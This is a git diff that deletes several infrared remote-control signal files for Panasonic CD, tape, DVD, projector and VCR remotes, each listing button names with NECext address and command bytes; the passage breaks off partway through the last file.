a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR643826/160,194.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR643826/160,194.ir deleted file mode 100644 index 5b8830029..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR643826/160,194.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: cdstop -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 80 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 81 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 82 00 00 00 -# -name: cdhome -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 84 00 00 00 -# -name: cdend -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 85 00 00 00 -# -name: cdplaypause -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 87 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 8F 00 00 00 -# -name: tapestop -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A0 00 00 00 -# -name: taperew -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A2 00 00 00 -# -name: tapeff -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A3 00 00 00 -# -name: tapeplay -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A6 00 00 00 -# -name: deck12 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: AD 00 00 00 -# -name: revmode -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: AE 00 00 00 -# -name: creset -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: AF 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B0 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B1 00 00 00 -# -name: band -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B8 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: BC 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: BF 00 00 00 -# -name: preseteq -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: D9 00 00 00 -# -name: virtualizer -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: DA 00 00 00 -# -name: stmonobp -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: E4 00 00 00 -# -name: tune -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: E7 00 00 00 -# -name: preset -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: E8 00 00 00 -# -name: panelopen -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: F4 00 00 00 -# -name: panelclose -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: F5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7617010/176,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7617010/176,0.ir deleted file mode 100644 index db460b3d0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7617010/176,0.ir +++ /dev/null @@ -1,296 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 00 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 01 00 00 00 -# -name: RWD -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 04 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 05 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 06 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 0A 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 18 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 19 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 33 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 3D 00 00 00 -# -name: POSITION_MEMORY -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 46 00 00 00 -# -name: A-B_REPEAT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 48 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 49 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 4A 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 4D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 80 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 81 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 82 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 83 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 85 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 86 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 87 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 88 00 00 00 -# -name: >=10 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 89 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 8A 00 00 00 -# -name: QUICK_REPLAY -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 8B 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 8C 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 8D 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 90 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 91 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 92 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 94 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 9B 00 00 00 -# -name: A.SRD -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 9E 00 00 00 -# -name: CINEMA -type: parsed -protocol: NECext -address: B0 00 00 00 -command: C0 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: B0 00 00 00 -command: C1 00 00 00 -# -name: BASS -type: parsed -protocol: NECext -address: B0 00 00 00 -command: D4 00 00 00 -# -name: D.ENH -type: parsed -protocol: NECext -address: B0 00 00 00 -command: D5 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: B0 00 00 00 -command: D6 00 00 00 -# -name: GROUP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: E0 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: EB 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7621010/176,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7621010/176,0.ir deleted file mode 100644 index 5432416b4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7621010/176,0.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 00 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 01 00 00 00 -# -name: REV -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 04 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 05 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 06 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 0A 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 18 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 19 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 33 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 3D 00 00 00 -# -name: POSITION_MEMORY -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 46 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 49 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 4A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 80 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 81 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 82 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 83 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 85 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 86 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 87 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 88 00 00 00 -# -name: >=10 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 89 00 00 00 -# -name: QUICK_REPLAY -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 8B 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 8C 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 8D 00 00 00 -# -name: ANGLE/PAGE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 90 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 91 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 92 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 94 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 9B 00 00 00 -# -name: A.SRD -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 9E 00 00 00 -# -name: CINEMA -type: parsed -protocol: NECext -address: B0 00 00 00 -command: C0 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: B0 00 00 00 -command: C1 00 00 00 -# -name: D.ENH -type: parsed -protocol: NECext -address: B0 00 00 00 -command: D5 00 00 00 -# -name: GROUP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: E0 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: EB 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7631010/176,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7631010/176,0.ir deleted file mode 100644 index a4d042ee6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7631010/176,0.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 00 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 01 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 04 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 05 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 06 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 0A 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 18 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 19 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 33 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 3D 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 49 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 4A 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 63 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 64 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 80 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 81 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 82 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 85 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 86 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 87 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 88 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 91 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 92 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 94 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7914Z20/128,72.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7914Z20/128,72.ir deleted file mode 100644 index 72250e216..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_EUR7914Z20/128,72.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INPUT_VIDEO -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 03 00 00 00 -# -name: INPUT_HDMI/PC -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 06 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 3D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 5A 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 5B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 5C 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 5D 00 00 00 -# -name: NORMAL -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 61 00 00 00 -# -name: PICADJ_CCM -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 6E 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 72 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 7A 00 00 00 -# -name: PICADJ_MAIN -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 7E 00 00 00 -# -name: PICADJ_ADVANCED -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 7F 00 00 00 -# -name: INPUT_CMPNT -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 80 00 00 00 -# -name: INPUT_MEMLOAD -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 81 00 00 00 -# -name: INPUT_PICMODE -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 82 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 90 00 00 00 -# -name: SHUTTER -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 91 00 00 00 -# -name: INPUT_ASPECT -type: parsed -protocol: NECext -address: 80 48 00 00 -command: DE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_N2QADC000006/128,72.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_N2QADC000006/128,72.ir deleted file mode 100644 index 1efb75d2d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_N2QADC000006/128,72.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: digitalzoom+ -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 04 00 00 00 -# -name: digitalzoom- -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 05 00 00 00 -# -name: KEY_F -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 09 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 20 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 21 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 3D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 5A 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 5B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 5C 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 5D 00 00 00 -# -name: norm -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 61 00 00 00 -# -name: input -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 6D 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 72 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 79 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 7A 00 00 00 -# -name: aspect -type: parsed -protocol: NECext -address: 80 48 00 00 -command: DE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_N2QAHB0048/160,194.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_N2QAHB0048/160,194.ir deleted file mode 100644 index 0599cc7f8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_N2QAHB0048/160,194.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INTRO -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 46 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 81 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 84 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 85 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 87 00 00 00 -# -name: KEY_PROGRAM -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 8B 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 8F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 90 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 91 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 92 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 93 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 94 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 95 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 96 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 97 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 98 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 99 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 9F 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A0 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A2 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A3 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A6 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: AF 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B0 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B1 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B8 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: BC 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: BD 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: BE 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: BF 00 00 00 -# -name: KEY_SOUND -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: D9 00 00 00 -# -name: VIRTUALIZER -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: DA 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: E7 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: E8 00 00 00 -# -name: AUTOSCAN -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: EC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_N2QAYB000064/128,72.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_N2QAYB000064/128,72.ir deleted file mode 100644 index 350c64319..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_N2QAYB000064/128,72.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Freeze -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 02 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 3D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 3E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 3F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 5A 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 5B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 5C 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 5D 00 00 00 -# -name: Default -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 61 00 00 00 -# -name: Input_Select -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 6D 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 72 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 7A 00 00 00 -# -name: Picture_Adj -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 7E 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 81 00 00 00 -# -name: Theater_Room -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 8E 00 00 00 -# -name: Living_Room -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 8F 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 90 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 80 48 00 00 -command: 99 00 00 00 -# -name: Aspect -type: parsed -protocol: NECext -address: 80 48 00 00 -command: DE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_NV-F65/144,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_NV-F65/144,0.ir deleted file mode 100644 index 2992ccf70..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_NV-F65/144,0.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 00 00 00 00 -# -name: pause_still -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 06 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 0A 00 00 00 -# -name: rev.play -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 0B 00 00 00 -# -name: still_adv -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 0C 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 0F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed 